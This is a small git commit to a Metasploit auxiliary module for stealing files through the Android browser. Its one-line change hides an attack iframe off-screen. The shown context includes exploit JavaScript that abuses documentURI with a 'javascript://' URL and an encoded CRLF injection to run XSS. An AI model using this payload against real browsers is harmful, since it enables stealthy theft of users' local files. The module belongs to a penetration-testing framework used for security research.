Actually hide the iframe.

2015-03-05 23:52:29 -06:00 · 2015-03-05 23:52:29 -06:00 · 7db3277731
parent 3c5d7b3ef0
commit 7db3277731
1 changed files with 1 additions and 1 deletions
--- a/modules/auxiliary/gather/android_browser_file_theft.rb
+++ b/modules/auxiliary/gather/android_browser_file_theft.rb
@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary

      var brokenFrame = document.createElement('iframe');
      brokenFrame.src = 'http://localhost:100';
-      //brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
+      brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
      brokenFrame.onload = function() {
        brokenFrame.onload = null;
        document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';